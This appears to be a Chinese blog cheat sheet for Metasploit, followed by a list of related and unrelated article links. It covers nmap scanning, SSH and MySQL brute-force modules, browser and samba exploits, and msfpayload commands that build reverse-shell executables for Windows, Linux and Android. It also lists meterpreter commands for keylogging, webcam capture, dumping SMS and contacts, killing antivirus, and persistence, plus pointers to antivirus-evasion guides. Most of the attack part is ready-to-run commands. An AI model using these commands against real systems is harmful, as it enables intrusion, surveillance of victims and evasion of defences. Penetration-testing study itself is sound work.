metasploit篇
第一部分:基本使用
1、在kali中metasploit默认使用postgresql作为它的数据库;
/etc/init.d/postgresql start
开机自启:update-rc.d postgresql enable。
2、初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户;
msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)
成功初始化会输出如下信息:

3、启动metasploit:msfconsole
4、查看数据库连接状态


5、工作台相关指令:
workspace -a test 新建test工作台

workspace -d test 删除test工作台
workspace test 切换到test工作台
6、获取帮助信息

7、使用nmap(支持扫描域名,不过会很慢,不推荐)
db_nmap -sS 123.110.112.210 扫描主机
db_export 1.xml 导出扫描结果(导出到当前工作路径)
db_import 1.xml 导入扫描结果
hosts 查看扫描结果
第二部分:信息收集模块
nmap探测开放端口和服务
-sS sync半开扫描
-Pn 不使用ping方式探测主机
-A 探测服务类型
-O 探测操作系统类型
常用组合:
db_nmap -sS -Pn -A -O 123.110.111.210
查看扫描结果:
db_services 查看扫描结果
扩展组合:
nmap -T4 -A-v 深入式扫描
nmap -sS -sU -T4 -A-v 同上,且扫UDP
nmap -p 1-65535 -T4 -A-v 扫描所有TCP端口
nmap -T4 -A-v -Pn 不使用ping
nmap -T4 -A-v -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -Pn -A -oX subnet1 123.110.221.120/24 将扫描结果导出为subnet1.xml
模块使用方式示例:
search telnet 搜索相应模块
use auxiliary/scanner/telnet/telnet_version 使用相应模块
show options 查看可设置的选项
set RHOST 123.120.111.210/24 设置IP地址
set THREADS 50 设置线程数
run(或exploit) 开始扫描
常用扫描模块:
auxiliary/scanner/telnet/telnet_version 扫描开放了telnet的主机
auxiliary/scanner/ssh/ssh_version 扫描ssh主机
auxiliary/scanner/mssql/mssql_ping 扫描mssql主机
auxiliary/scanner/ftp/ftp_version 扫描ftp主机
auxiliary/scanner/ftp/anonymos 扫描ftp匿名登录
auxiliary/scanner/discovery/arp_sweep 扫描局域网内有哪些主机存活
auxiliary/scanner/http/dir_scanner 扫描网站目录
auxiliary/scanner/snmp/snmp_login 扫描snmp主机
第三部分:密码爆破
爆破方式,利用密码文件进行爆破,使用方式同上,只是设置选项常用的多了两个,可通过show options查看到
set USERNAME root 设置需要爆破的用户名
set PASS_FILE /root/pass.txt 设置爆破需要调用的字典文件
set USER_FILE /root/user.txt 通过文件调用需要爆破的用户名
常用模块:
auxiliary/scanner/ssh/ssh_login ssh密码爆破
auxiliary/scanner/http/tomcat_mgr_login tomcat密码爆破
auxiliary/scanner/mysql/mysql_login mysql口令爆破
auxiliary/scanner/smb/smb_version samba爆破
第四部分:漏洞利用
linux samba漏洞
search samba
use linux/samba/lsa_transnames_heap
show payloads 查看载荷
set payload linux/x86/shell_bind_tcp 设置载荷,这是linux的一个反弹shell
set Lport 8080
set RHOST 192.168.2.116
exploit
dll 注入漏洞
针对windows低版本的浏览器(IE6)通过访问一个指定的URL地址,从而留下一个会话,利用此会话可以查看被攻击对象的详细信息
use exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/bind_tcp
show options
set SRVHOST 192.168.1.211
set LHOST 192.168.1.211 设置本地地址
set RHOST 192.168.1.127 设置要攻击的机器的地址
set LPORT 1215 本地监听的端口
实战举例:
search ms12-004 找到漏洞的编号
show options
use exploit/windows/browser/ms12-004_midi 利用此漏洞,从名字可以看出是和浏览器相关的一个漏洞
set PAYLOAD windows/meterpreter/reverse_tcp 生成一个windows下的反弹shell
set LHOST 192.168.1.102
show targets
exploit 开始攻击
Windows相关漏洞编号及相关信息可在此网站寻找:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-023
metasploit常用漏洞利用命令:
show targets 显示目标(OS版本)
set target <target_number> 设置目标编号
exploit 开始
session -l <ID> 列出会话
session -i <ID> 选择会话
session -k <ID> 结束会话
<ctrl> z 把会话放到后台
<ctrl> c 结束会话
show auxiliary 显示辅助模块
use <auxiliary name> 使用辅助模块
set <option name> <option> 设置选项
run 运行
第五部分:shell_code
Windows:
1、生成shell_code:(可直接在终端shell下操作)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.213 LPORT=1121 X > /root/shell.exe
2、侦听shell_code:
新开一个窗口
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 设置反弹shell
set LHOST 192.168.12.76 设置源IP
set LPORT 1127 设置源端口
exploit 发起侦听
或者
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.12.76 LPORT=1127 E
一条语句搞定
3、将生成的shell.exe传到被攻击的机器上执行一下
4、控制端查看是否收到反弹shell
==================================================
Linux:
同上,改模块为:linux/x86/meterpreter/reverse_tcp
java:(shell后缀名为jar)
同上,改模块为:java/meterpreter/reverse_tcp
php:
同上,改模块为:php/meterpreter/reverse_tcp
android:(shell后缀名为apk)
同上,改模块为:android/meterpreter/reverse_tcp
安卓常用命令:
dump_contacts 导出电话
dump_sms 导出信息
webcam_list 可以看到有几个摄像头
-i 1 选择后摄像头
webcam_stream 开启摄像头
webcam_snap 拍照截屏
meterpreter基本命令:
截屏:screenshot
获取系统运行的平台:sysinfo
获取键盘记录:keyscan_start或keyscan_dump
查看进程:ps
切换进程:migrage 1774
记录键盘输入:run post/windows/capture/keylog_recorder
进程迁移:run post/windows/manage/migrate
查看目标机所有流量:run packetrecorder -i 1
提取系统信息:run scraper
关闭杀毒软件:run killav
查看主机是真实机还是虚拟机:run checkvm
添加用户:run getgui
显示远程机器的防火墙规则:run getcountermeasure
免杀系列
shellter免杀:参见 https://blog.csdn.net/sufeiboy/article/details/65939342
veil和msfvenom免杀 参见:https://blog.csdn.net/wyf12138/article/details/79825833
第六部分:持久控制
run persistence -X -i -p -r 192.168.12.123 当你生成的exe后门在客户机上正在执行的时候,通过这条命令代表将其加入到自启动里面,并每50秒检查一次
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 设置反弹shell
set LHOST 192.168.12.76 设置源IP
set LPORT 设置源端口
exploit 发起侦听
./msfpayload win32_reverse LHOST=192.168.1.117 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d" //Windows版
./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20" //Linux版
以上命令的作用是生成一个反弹shell,并且对其进行编码,把16进制的\x00\x0a\x0d给排除掉,主要是在缓冲区溢出的时候能够用到
添加入站规则,非本机127.0.0.1访问本机的4444和13327都DROP掉,通常用于本机测试
• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
metasploit篇的更多相关文章
- TGL站长关于常见问题的回复
问题地址: http://www.thegrouplet.com/thread-112923-1-1.html 问题: 网站配有太多的模板是否影响网站加载速度 月光答复: wp不需要删除其他的模板,不 ...
- metasploit 渗透测试笔记(基础篇)
0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...
- Metasploit学习指南—基础篇
Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面: Metasploit的核心 基础的配置 M ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- metasploit 渗透测试笔记(meterpreter篇)
0x01 背景 meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式. 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和me ...
- Metasploit 内网渗透篇
0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...
- Metasploit域渗透测试全程实录(终结篇)
本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...
- [转]初探Metasploit的自动攻击
1. 科普Metasploit 以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...
- 移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit
在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...
随机推荐
- docker in docker 的启动方式
--privileged -v /var/run/docker.sock:/var/run/docker.sock -v $(which docker):/bin/docker 启动容器时添加上面 ...
- Erlang/Elixir精选Q&A
精选的定位是什么? 已至2019年,Erlang/Elixir中文社区还是一座黑暗森林,每个技术人都怀揣着自己独有的葵花宝典独自摸索,没有一个开放的分享平台,大量优质文章没有得到该有的关注. 与此同时 ...
- android binder 进程间通信机制5-Service注册和代理对象的获取
ServiceManager,其实也是一个Service,不过它的Server端实现并未使用Binder库的结构实现,而是直接打开binder/dev进行通信的,不具有普遍性. 下面以MediaSer ...
- cookie和session及token的区别联系
1 发展史 1.很久很久以前,Web 基本上就是文档的浏览而已, 既然是浏览,作为服务器, 不需要记录谁在某一段时间里都浏览了什么文档,每次请求都是一个新的HTTP协议, 就是请求加响应, 尤其是我 ...
- vue--npm的使用
npm介绍 NPM 全称 Node Package Manager,它是 JavaScript 的包管理工具, 并且是 Node.js 平台的默认包管理工具.通过NPM 可以安装.共享.分发代码,管理 ...
- 实现简易JDBC框架
1 准备 JDBC 基本知识 JDBC元数据知识 反射基本知识 2: 两个问题 业务背景:系统中所有实体对象都涉及到基本的CRUD操作.所有实体的CUD操作代码基本相同,仅仅是发送给数据库的sql语 ...
- Java8新特性——集合底层源码实现的改变
ArrayList 源码分析: jdk7: ArrayList list = new ArrayList();//初始化一个长度为10的Object[] elementData sysout(list ...
- angular 前端路由不生效解决方案
angular 前端路由不生效解决方案 Intro 最近使用 Angular 为我的活动室预约项目开发一个前后端分离的客户端,在部署上遇到了一个问题,前端路由不生效,这里记录一下.本地开发正常,但是部 ...
- Spring中ApplicationListener的使用
背景 ApplicationListener是Spring事件机制的一部分,与抽象类ApplicationEvent类配合来完成ApplicationContext的事件机制. 如果容器中存在Appl ...
- Spring Boot 中如何定制 Banner
本人免费整理了Java高级资料,涵盖了Java.Redis.MongoDB.MySQL.Zookeeper.Spring Cloud.Dubbo高并发分布式等教程,一共30G,需要自己领取.传送门:h ...